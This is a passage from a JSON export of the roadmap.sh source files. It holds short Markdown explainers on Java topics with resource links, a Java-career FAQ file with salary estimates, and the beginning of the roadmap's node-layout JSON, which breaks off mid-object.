    "content": "# Optionals\n\nOptionals are a container object that may or may not contain a non-null value. They are primarily used to represent the absence of a value, avoiding the need to return null, which can lead to NullPointerExceptions. Optionals provide methods to explicitly check if a value is present and to handle cases where a value is absent in a more controlled and readable manner.\n\nVisit the following resources to learn more:\n\n- [@article@Guide To Optionals](https://www.baeldung.com/java-optional)\n- [@article@Java Optional](https://dzone.com/articles/optional-in-java)"
  },
  {
    "path": "src/data/roadmaps/java/content/packages@60POZOjwHSdKYL6rfkyEy.md",
    "content": "# Packages\n\nA package is a namespace that mainly contains classes and interfaces. For instance, the standard class `ArrayList` is in the package `java.util`. For this class, `java.util.ArrayList` is called its fully qualified name because this syntax has no ambiguity. Classes in different packages can have the same name. For example, you have the two classes `java.util.Date` and `java.sql.Date`, which are different. If no package is declared in a class, its package is the default package.\n\nTo create package use this command -> javac -d directory javafilename\n\nVisit the following resources to learn more:\n\n- [@article@Packages in Java](https://docs.oracle.com/javase/8/docs/api/java/lang/Package.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/pass-by-value--pass-by-reference@3r0Er9XZHovIZz3gNyj4A.md",
    "content": "# Pass by Value / Pass by Reference\n\nPass by value and pass by reference are two different ways of passing arguments to a function or method. In pass by value, a copy of the variable's value is passed to the function, so any changes made to the parameter inside the function do not affect the original variable. In pass by reference, a direct reference to the variable is passed, meaning that changes made to the parameter inside the function will directly affect the original variable.\n\nVisit the following resources to learn more:\n\n- [@article@Java is Pass-by-Value, Not Pass-by-Reference](https://www.baeldung.com/java-pass-by-value-or-pass-by-reference)\n- [@article@Is Java \"pass-by-reference\" or \"pass-by-value\"?](https://stackoverflow.com/questions/40480/is-java-pass-by-reference-or-pass-by-value)"
  },
  {
    "path": "src/data/roadmaps/java/content/play-framework@kN-mXxqUPNJNsJGQ0U_7J.md",
    "content": "# Play Framework\n\nPlay Framework is a high-productivity web application framework that allows the model-view-controller pattern. It is written in Scala but can also be used for other programming languages that are compiled and run on the JVM. e.g.Java.\n\nVisit the following resources to learn more:\n\n- [@official@Play Framework Website](https://www.playframework.com/)\n- [@article@What is Play Framework?](https://en.wikipedia.org/wiki/Play_Framework)\n- [@article@Intro to Play Framework](https://www.baeldung.com/java-intro-to-the-play-framework)\n- [@video@Introduction to Play Framework](https://youtu.be/bLrmnjPQsZc)"
  },
  {
    "path": "src/data/roadmaps/java/content/quarkus@w-kcKPh8U0P_jtT90_1Xy.md",
    "content": "# Quarkus\n\nVisit the following resources to learn more:\n\n- [@official@Official Website](https://quarkus.io/)\n- [@feed@Explore top posts about Quarkus](https://app.daily.dev/tags/quarkus?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/java/content/queue@ThoWhXb4vUvNfE70_wMfa.md",
    "content": "# Queue\n\nA queue is a fundamental data structure that follows the First-In, First-Out (FIFO) principle. Think of it like a line at a store: the first person to join the line is the first person to be served. Elements are added to the rear (enqueue) and removed from the front (dequeue) of the queue.\n\nVisit the following resources to learn more:\n\n- [@article@Java Queue](https://jenkov.com/tutorials/java-collections/queue.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/record@VqLV7kolfRFnvOuJAvzlg.md",
    "content": "# Record\n\nA record is a special type of class in Java that is designed to hold immutable data. It automatically generates methods like `equals()`, `hashCode()`, and `toString()` based on the components declared in its header, reducing boilerplate code. Records are useful for creating data transfer objects (DTOs) or simple data aggregates where the primary purpose is to store and access data.\n\nVisit the following resources to learn more:\n\n- [@article@Java Records](https://jenkov.com/tutorials/java/record.html)\n- [@video@Java Records](https://www.youtube.com/watch?v=xs7DiEIHW0U)"
  },
  {
    "path": "src/data/roadmaps/java/content/regular-expressions@C7rB3jkshHFN7TkHRJPlz.md",
    "content": "# Regular Expressions\n\nRegular expressions, often shortened to \"regex,\" are sequences of characters that define a search pattern. These patterns are used to match character combinations in strings. They can be used to search, edit, or manipulate text and data. Regular expressions provide a powerful and flexible way to work with text-based data.\n\nVisit the following resources to learn more:\n\n- [@article@Java Regular Expressions Tutorial](https://jenkov.com/tutorials/java-regex/index.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/rest-assured@gB4XUR9nCdF1-dOEwGcHi.md",
    "content": "# Rest assured\n\nTesting and validating REST services in Java is harder than in dynamic languages such as Ruby and Groovy. REST Assured brings the simplicity of using these languages into the Java domain.\n\nVisit the following resources to learn more:\n\n- [@official@Rest-assured](https://rest-assured.io/)\n- [@opensource@Rest-assured Documentation](https://github.com/rest-assured/rest-assured/wiki)\n- [@article@A Guide to REST-assured](https://www.baeldung.com/rest-assured-tutorial)\n- [@feed@Explore top posts about REST API](https://app.daily.dev/tags/rest-api?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/java/content/set@XjkNd5WJ9yxW48dwHQNkZ.md",
    "content": "# Set\n\nA Set is a data structure that stores a collection of unique elements. This means that no duplicate values are allowed within a Set. Sets provide efficient ways to check for membership (if an element exists in the set) and perform operations like union, intersection, and difference.\n\nVisit the following resources to learn more:\n\n- [@article@Java Set](https://jenkov.com/tutorials/java-collections/set.html)\n- [@article@Java Set Interface and Implementation](https://www.digitalocean.com/community/tutorials/java-set)"
  },
  {
    "path": "src/data/roadmaps/java/content/slf4j@LGlZHKqyQ-aWtHnhklhgn.md",
    "content": "# Slf4j\n\nThe SLF4J or the Simple Logging Facade for Java is an abstraction layer for various Java logging frameworks, like Log4j 2 or Logback. This allows for plugging different logging frameworks at deployment time without the need for code changes.\n\nVisit the following resources to learn more:\n\n- [@article@Official Website](https://www.slf4j.org/)"
  },
  {
    "path": "src/data/roadmaps/java/content/spring-data-jpa@WzWOxBUKKg6LeuBmVesc2.md",
    "content": "# Spring data jpa\n\nSpring Data JPA aims to significantly improve the implementation of data access layers by reducing the effort to the amount that's actually needed. As a developer you write your repository interfaces, including custom finder methods, and Spring will provide the implementation automatically.\n\nVisit the following resources to learn more:\n\n- [@official@Spring Data JPA](https://spring.io/projects/spring-data-jpa)\n- [@article@Introduction to Spring Data JPA](https://www.baeldung.com/the-persistence-layer-with-spring-data-jpa)\n- [@video@Spring Data JPA Tutorial](https://youtu.be/XszpXoII9Sg)\n- [@video@Spring Boot Tutorial - Spring Data JPA](https://youtu.be/8SGI_XS5OPw)\n- [@feed@Explore top posts about Spring Framework](https://app.daily.dev/tags/spring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/java/content/spring-spring-boot@xoryfi4SpJlkz-PV05ql6.md",
    "content": "# Spring Boot\n\nSpring Boot is an open source, microservice-based Java web framework. The Spring Boot framework creates a fully production-ready environment that is completely configurable using its prebuilt code within its codebase. The microservice architecture provides developers with a fully enclosed application, including embedded application servers.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Spring Boot Roadmap](https://roadmap.sh/spring-boot)\n- [@official@Spring Boot](https://spring.io/projects/spring-boot/)\n- [@article@What is Spring Boot?](https://www.ibm.com/cloud/learn/java-spring-boot)\n- [@article@Spring Boot Tutorial](https://www.javaguides.net/2021/07/spring-boot-tutorial-for-beginners.html)\n- [@article@Learn Spring Boot](https://www.baeldung.com/spring-boot)\n- [@video@Spring Boot Tutorial](https://youtu.be/vtPkZShrvXQ)\n- [@video@Spring Boot for Beginners](https://youtu.be/UfOxcrxhC0s)\n- [@feed@Explore top posts about Spring Framework](https://app.daily.dev/tags/spring?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/java/content/stack@DzfE_9WLAp-BrG3C1-MwU.md",
    "content": "# Stack\n\nA stack is a fundamental data structure that follows the Last-In, First-Out (LIFO) principle. Imagine a stack of plates; you can only add or remove plates from the top. This means the last element added to the stack is the first one to be removed. Stacks are used to manage function calls, evaluate expressions, and implement undo/redo functionality.\n\nVisit the following resources to learn more:\n\n- [@article@Java Stack Tutorial](https://jenkov.com/tutorials/java-collections/stack.html)\n- [@article@Guide to Java Stack](https://www.baeldung.com/java-stack)"
  },
  {
    "path": "src/data/roadmaps/java/content/static-keyword@ZcNxO6qIXIg7RaWYnZj2e.md",
    "content": "# Static Keyword\n\nThe `static` keyword in Java is used to create members (variables and methods) that belong to the class itself, rather than to any specific instance of the class. This means there's only one copy of a static variable shared by all objects of that class, and you can access static members directly using the class name without needing to create an object. Static methods can only access static variables and call other static methods.\n\nVisit the following resources to learn more:\n\n- [@article@Java Static Keyword Explained With Examples](https://www.freecodecamp.org/news/java-static-keyword-explained/)\n- [@article@Static and Non-static Fields in Java](https://jenkov.com/tutorials/java/fields.html#static-and-non-static-fields)\n- [@article@Guide to the Java 'static' Keyword](https://www.baeldung.com/java-static)"
  },
  {
    "path": "src/data/roadmaps/java/content/static-vs-dynamic-binding@Kjdj862xnz8fqDYE3HKhC.md",
    "content": "# Static vs Dynamic Binding\n\nStatic binding, also known as early binding, happens at compile time. The compiler knows exactly which method will be called based on the type of the variable. Dynamic binding, or late binding, occurs at runtime. The specific method to be called is determined based on the actual object type, not the variable type, allowing for more flexibility and polymorphism.\n\nVisit the following resources to learn more:\n\n- [@article@Static and Dynamic Binding in Java](https://www.baeldung.com/java-static-dynamic-binding)\n- [@article@Static and Dynamic Binding in Java with Examples](https://beginnersbook.com/2013/04/java-static-dynamic-binding/)"
  },
  {
    "path": "src/data/roadmaps/java/content/stream-api@WHxAwfdKHQSOg0TLX05EG.md",
    "content": "# Streams\n\nJava provides a new additional package in Java 8 called java.util.stream. This package consists of classes, interfaces and enum to allows functional-style operations on the elements. You can use stream by importing java.util.stream package.\n\nVisit the following resources to learn more:\n\n- [@article@The Java 8 Stream API Tutorial](https://www.baeldung.com/java-8-streams)\n- [@video@Streams API Tutorial in Java 8+](https://www.youtube.com/watch?v=VNovNwHr9jY)\n- [@video@Java 8 Streams Tutorial](https://www.youtube.com/watch?v=t1-YZ6bF-g0)"
  },
  {
    "path": "src/data/roadmaps/java/content/strings-and-methods@aEaBobzFWv0mJHGAbgxKY.md",
    "content": "# Strings and Methods\n\nStrings are sequences of characters, like words or sentences, used to represent text in programming. Methods are actions you can perform on these strings, such as finding their length, changing their case (uppercase or lowercase), or extracting parts of them. These methods allow you to manipulate and work with text data effectively.\n\nVisit the following resources to learn more:\n\n- [@article@Java Strings](https://jenkov.com/tutorials/java/strings.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/testing@LgpsnXV0CTvTspjnsd0Rd.md",
    "content": "# Testing\n\nA key to building software that meets requirements without defects is testing. Software testing helps developers know they are building the right software. When tests are run as part of the development process (often with continuous integration tools), they build confidence and prevent regressions in the code.\n\nVisit the following resources to learn more:\n\n- [@article@What is Software Testing?](https://www.guru99.com/software-testing-introduction-importance.html)\n- [@article@Testing Pyramid](https://www.browserstack.com/guide/testing-pyramid-for-test-automation)\n- [@feed@Explore top posts about Java](https://app.daily.dev/tags/java?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/java/content/testng@XU2C8bF9ICej8LS7ZGTTv.md",
    "content": "# Testng\n\nTestNG is a testing framework inspired from JUnit and NUnit but introducing some new functionalities that make it more powerful and easier to use.\n\nVisit the following resources to learn more:\n\n- [@official@Testng](https://testng.org)\n- [@official@Testng Documentation](https://testng.org/doc/documentation-main.html)\n- [@article@Testng tutorial](https://www.guru99.com/all-about-testng-and-selenium.html)"
  },
  {
    "path": "src/data/roadmaps/java/content/threads@u_YysD7Bpnq-xkFX5yJGz.md",
    "content": "# Basics of Threads\n\nA thread in Java is the direction or path that is taken while a program is being executed. Generally, all the programs have at least one thread, known as the main thread, that is provided by the JVM or Java Virtual Machine at the starting of the program’s execution.\n\nWriting correct multi-threaded application is complex and it's an advanced topic. Things like ParallelStreams, thread-safe Collections and ExecutorService can be helpful.\n\nVisit the following resources to learn more:\n\n- [@article@Threads in Java](https://jenkov.com/tutorials/java-concurrency/index.html)\n- [@video@Java Threads Tutorial](https://www.youtube.com/watch?v=TCd8QIS-2KI)"
  },
  {
    "path": "src/data/roadmaps/java/content/tinylog@Fn7aAaGbwYsAp4xLuuFud.md",
    "content": "# Tinylog\n\nTinylog is a lightweight open-source logging framework for Java and Android, optimized for ease of use.\n\nVisit the following resources to learn more:\n\n- [@official@Official Website](https://tinylog.org/v1/)\n- [@official@TinyLog v2](https://tinylog.org/v2/)"
  },
  {
    "path": "src/data/roadmaps/java/content/type-casting@yNDbk6r5wFqBi25xmIRF_.md",
    "content": "# Type Casting\n\nType casting is the process of converting a variable from one data type to another. This is often necessary when you need to perform operations between variables of different types, or when you need to store a value of one type in a variable of another type. In Java, type casting can be either implicit (automatic) or explicit (requiring a cast operator).\n\nVisit the following resources to learn more:\n\n- [@article@Type Casting in Java: Everything You Need to Know](https://www.simplilearn.com/tutorials/java-tutorial/type-casting-in-java)\n- [@article@Java Type Casting (With Examples)](https://www.programiz.com/java-programming/typecasting)"
  },
  {
    "path": "src/data/roadmaps/java/content/variables-and-scopes@VBNcAO0STaZJ1iV9A7utv.md",
    "content": "# Variables and Scopes\n\nVariables are like containers that hold data in a program. Each variable has a name, a type (like integer, text, or boolean), and a value. The scope of a variable determines where in your code you can access and use that variable. Understanding scope is crucial to avoid naming conflicts and ensure data is accessed correctly within different parts of your program.\n\nVisit the following resources to learn more:\n\n- [@article@Java Variables](https://jenkov.com/tutorials/java/variables.html)\n- [@article@Java Variable Scope](https://www.baeldung.com/java-variable-scope)"
  },
  {
    "path": "src/data/roadmaps/java/content/virtual-threads@vJSq1GJLIMQ6IIB8CMK8g.md",
    "content": "# Virtual Threads\n\nVirtual Threads are lightweight threads managed by the Java Virtual Machine (JVM). Unlike traditional operating system threads, which are relatively expensive to create and manage, virtual threads are designed to be extremely lightweight, allowing for the creation of millions of them. They are intended to improve the scalability and concurrency of Java applications by making it easier to write code that can handle a large number of concurrent operations without the overhead associated with traditional threads.\n\nVisit the following resources to learn more:\n\n- [@article@Java 21 Virtual Threads: Dude, Where's My Lock?](https://netflixtechblog.com/java-21-virtual-threads-dude-wheres-my-lock-3052540e231d)\n- [@article@Virtual Thread vs Thread in Java](https://www.baeldung.com/java-virtual-thread-vs-thread)\n- [@article@The Ultimate Guide to Java Virtual Threads](https://rockthejvm.com/articles/the-ultimate-guide-to-java-virtual-threads)"
  },
  {
    "path": "src/data/roadmaps/java/content/volatile-keyword@U4Wx3MH3LgJLa0n9Ne0Br.md",
    "content": "# Volatile Keyword\n\nThe `volatile` keyword in Java is a modifier that can be applied to instance variables. It ensures that all threads see the most up-to-date value of a variable. Without `volatile`, each thread might cache its own copy of the variable, leading to inconsistencies when multiple threads access and modify it concurrently. Using `volatile` forces the thread to read the variable's value directly from main memory, and write changes directly back to main memory, bypassing the thread's local cache.\n\nVisit the following resources to learn more:\n\n- [@article@Java Volatile Keyword](https://jenkov.com/tutorials/java-concurrency/volatile.html)\n- [@article@Guide to the Volatile Keyword in Java](https://www.baeldung.com/java-volatile)"
  },
  {
    "path": "src/data/roadmaps/java/content/web-frameworks@_W84u4UXMSY0zvy6RJvFi.md",
    "content": "# Web Frameworks\n\nFrameworks are tools with pre-written code, that act as a template or skeleton, which can be reused to create an application by simply filling with your code as needed which enables developers to program their application with no overhead of creating each line of code again and again from scratch."
  },
  {
    "path": "src/data/roadmaps/java/faqs.astro",
    "content": "---\nimport type { FAQType } from '../../components/FAQs/FAQs.astro';\n\nexport const faqs: FAQType[] = [\n  {\n    question: 'Is Java Development a good career choice?',\n    answer: [\n      'Java development is, indeed, a good career choice. Given the popularity of Java developers across many industries, this can be seen as a rewarding and stable career. Even after 30 years of language evolution and considering the many other competing programming languages in the market, Java remains one of the most widely used languages in software development, powering everything from web apps to enterprise solutions.',\n      'There are companies across the globe, ranging from San Francisco all the way to India, searching for skilled Java developers to build scalable and high-performing systems.',\n      'Another factor that makes Java Development a great career choice is the strong community and endless number of learning resources. With countless training programs, open-source projects, and frameworks, developers can constantly upgrade their skills and stay relevant in a rapidly evolving industry.',\n      'The best part about this career path is that, given the high enterprise demand, it offers many opportunities for growth, exposure to innovative technologies, and the chance to work on challenging large-scale projects.',\n    ],\n  },\n  {\n    question: 'How long does it take to become a Java Developer?',\n    answer: [\n      'Becoming a Java developer takes time and effort. However, the time required to learn the language depends on multiple factors, including the previous programming experience that the developer might bring as well as the depth of knowledge that is being aimed for (it\\'s not the same as having a basic understanding of Java as mastering it).',\n      'Becoming proficient in Java and securing a job as a Java Developer typically takes anywhere from a few months to a couple of years, again, depending on your prior experience.',\n      'For absolute beginners with no programming experience, it can take anywhere from 12 to 24 months to reach a level where they can confidently apply for entry-level roles. However,  by that time, they would\\'ve fully covered all the programming basics, a great deal of Object Oriented Programming, and of course, many of the common use cases around Java.',\n      'For those with actual programming knowledge but new to Java, such as Python or JavaScript developers, the transition to becoming a Java Developer can take 6 to 12 months. Since they already understand software development concepts, their main focus is on learning Java-specific syntax, frameworks, JVM internals, memory management, and performance optimization.',\n      'The key to moving fast through this learning process is consistent practice, working on different projects, developing real-world applications, and staying updated with the latest tech trends.',\n    ],\n  },\n  {\n    question: 'What does a Java Developer job description typically look like?',\n    answer: [\n      'A typical Java Developer job description usually involves two parts, on one side you have the classic and generic section where topics like designing and implementing Java programs, writing clean and maintainable code, and troubleshooting technical issues are mentioned, but then they go into more details and start mentioning topics like concurrency & multithreading, JVM optimization and design and implementation of scalable platforms.',\n      'After that, they will go on to talk about databases such as Oracle, MySQL, or PostgreSQL, writing SQL queries, managing transactions, and ensuring data integrity. Which are key activities for any Java developer.',\n      'When it comes to mentioning technologies, the list may vary depending on the industry, but they will likely include names such as Spring Boot, Maven, and JUnit, and typically IDEs such as IntelliJ or Eclipse will also be mentioned.',\n      'Depending on their seniority, Java Developers may also interact with clients to understand business needs, propose architectures, and implement new features to improve user experience. For those scenarios, good soft skills are a must. Understanding how to talk to non-technical audiences and properly communicate with others are skills that will differentiate you from other developers.',\n      'In the end, the job (the job\\'s description) can change based on the company, industry, and geography, but regardless of location, the career path offers strong growth opportunities, job stability, and the chance to work on challenging and rewarding projects.',\n    ],\n  },\n  {\n    question: 'How is JavaScript different from Java?',\n    answer: [\n      'JavaScript is different from Java because JavaScript is a dynamic, interpreted language primarily used for web development, running directly in browsers or on servers, thanks to runtimes such as Node.js, Bun, or Deno.',\n      'Java, in contrast, is a statically typed, compiled language that runs on the Java Virtual Machine (JVM) and is popular for building large-scale applications and Android software.',\n      'Despite the similarity in their names, they\\'re completely different. Their design, execution, and typical use cases differ significantly. For more details, see this [java vs javascript](https://roadmap.sh/java/vs-javascript) guide.',\n    ],\n  },\n  {\n    question: 'How is a Java Developer different from a Python Developer?',\n    answer: [\n      'A Java developer is different from a Python developer mostly because of the primary focus of their programming languages and the slight (but significant) differences in their development lifecycle.',\n      'For the Java programmer, with Java being statically typed and compiled, their development workflow is not exactly the same as for the Python developer, whose language is dynamically typed and interpreted. This impacts performance, startup time, memory management, and how they structure code.',\n      'In terms of technological focus, Java developers typically build enterprise applications, web apps, and backend systems using Spring Boot, JPA, and RESTful APIs. They work on high-performance applications where JVM tuning, memory management, and concurrency are critical to ensure the scalability and availability of the platform.',\n      'On the other hand, Python developers tend to specialize in data science, machine learning, automation, and scripting, using frameworks like TensorFlow, Pandas, and SciKit. Mind you, Python devs can also do web development. However, in the enterprise scene, Java is one of the household names that almost no one dares to contradict.',\n      'In the end, both career paths offer a great chance at growth and stability, with Java being usually better for enterprise software, while Python excels in AI, automation, and rapid prototyping.',\n      'More on this topic here: [Java vs Python](https://roadmap.sh/java/vs-python).',\n    ],\n  },\n  {\n    question: 'Is Java still relevant in modern software development?',\n    answer: [\n      'Java is highly relevant in modern software development, even after all these years, due to its versatility, performance, and incredible industry adoption. The language has evolved since it was first released 30 years ago, and the fact that it still remains relevant is solid proof of that process.',\n      'Nowadays, it\\'s really difficult to find an industry where Java isn\\'t a known and valid option (even if there are alternatives).',\n      'Many large enterprises, startups, and tech giants continue to use Java for building web applications, desktop apps, and full cloud platforms. Java\\'s ability to handle concurrency, optimize memory, and provide stable performance makes it ideal for high-demand applications.',\n      'In terms of flexibility and portability, the JVM (Java Virtual Machine) allows Java to run on multiple platforms, making it one of the best choices for cross-platform development in industries like financial services, e-commerce, big data processing, and enterprise applications.',\n      'This is why, even after 30 years, Java Developers continue to be quite popular. With ongoing improvements to the language, modern tools, and the growing focus on cloud computing and microservices, Java remains a top choice for software engineers looking for a long-term career in development.',\n    ],\n  },\n  {\n    question: 'What are the typical salaries for Java Developers in different regions?',\n    answer: [\n      'The typical salaries for Java developers will change from region to region, and even then, the seniority and responsibility of the role will also affect the final number.',\n      'However, as a guide, we can look at some statistics from sites such as Glassdoor, which put the average annual Java developer salary in San Francisco at around $131,000. For a senior developer, the number goes, on average, up to $220,000.',\n      'In India, for example, the average we can glean from sites like Indeed is between  ₹410,306 and ₹839,714 per year.',\n      'And finally, in Europe, salaries for Java Developers vary by country. In Germany, for instance, the average annual salary is approximately €60,000, while in the United Kingdom, it ranges around £55,000.',\n      'It\\'s important to note that these numbers are averages and can vary based on experience, industry, company size, specific job requirements, and your ability to negotiate the final salary. So, take them with a grain of salt and use them carefully.',\n    ],\n  },\n];\n---\n"
  },
  {
    "path": "src/data/roadmaps/java/java.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"CdLumO1g7RNbOkwUFkVC3\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1216.3696984675892,\n        \"y\": 1636.8196545591995\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65,\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1216.3696984675892,\n        \"y\": 1636.8196545591995\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"VheIOU0XKrEw_5M-Wv4yv\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 1022.3252013753893,\n        \"y\": 1620.015947794886\n      },\n      \"width\": 195,\n      \"height\": 124,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 124\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 1022.3252013753893,\n        \"y\": 1620.015947794886\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 124\n      }\n    },\n    {\n      \"id\": \"8Ej86dM3j55V5r29WHTef\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 839.8929054677501,\n        \"y\": 1619.5740097760008\n      },\n      \"width\": 187,\n      \"height\": 168,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 168\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 839.8929054677501,\n        \"y\": 1619.5740097760008\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 168\n      }\n    },\n    {\n      \"id\": \"phhoZcCGuVm_zYFfcArb8\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 699.482369832682,\n        \"y\": 1618.4390443834811\n      },\n      \"width\": 146,\n      \"height\": 169,\n      \"style\": {\n        \"width\": 146,\n        \"height\": 169\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 699.482369832682,\n        \"y\": 1618.4390443834811\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 169\n      }\n    },\n    {\n      \"id\": \"iv_f10rCHm21sz5hesZxj\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1688.2217949048954,\n        \"y\": 1645.8131791964786\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.65,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"l40LZhtS-ldRtJ2cgiiXc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"positionAbsolute\": {\n        \"x\": 1688.2217949048954,\n        \"y\": 1645.8131791964786\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"id\": \"l40LZhtS-ldRtJ2cgiiXc\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1577.5469679422956,\n        \"y\": 1649.8131791964786\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.65,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 100\n      },\n      \"positionAbsolute\": {\n        \"x\": 1577.5469679422956,\n        \"y\": 1649.8131791964786\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 100\n      }\n    },\n    {\n      \"id\": \"7HWfRgtCU9Dv2N_3oHwYe\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 945.0073106597292,\n        \"y\": 1515.8599244017678\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.65\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 945.0073106597292,\n        \"y\": 1515.8599244017678\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"BUES6hALwmHMS0oAKPKz0\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 782.5073106597292,\n        \"y\": 1116.3203519457165\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.6\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 166,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 166\n      },\n      \"positionAbsolute\": {\n        \"x\": 782.5073106597292,\n        \"y\": 1116.3203519457165\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 166\n      }\n    },\n    {\n      \"id\": \"pbxsWeOonIRXRxPpdV-zo\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 818.6618709488598,\n        \"y\": 1178.2990031143668\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.6\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 818.6618709488598,\n        \"y\": 1178.2990031143668\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"myugQ4WCRi1GGRZJ8uu5k\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 808.6618709488598,\n        \"y\": 1115.3203519457165\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.6\n        },\n        \"oldId\": \"BUES6hALwmHMS0oAKPKz0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 75,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 75\n      },\n      \"positionAbsolute\": {\n        \"x\": 808.6618709488598,\n        \"y\": 1115.3203519457165\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 75\n      }\n    },\n    {\n      \"id\": \"ofYL6wlERXJaXuKL075zY\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 703.0073106597292,\n        \"y\": 1280.8599244017678\n      },\n      \"width\": 243,\n      \"height\": 270,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 270\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 703.0073106597292,\n        \"y\": 1280.8599244017678\n      },\n      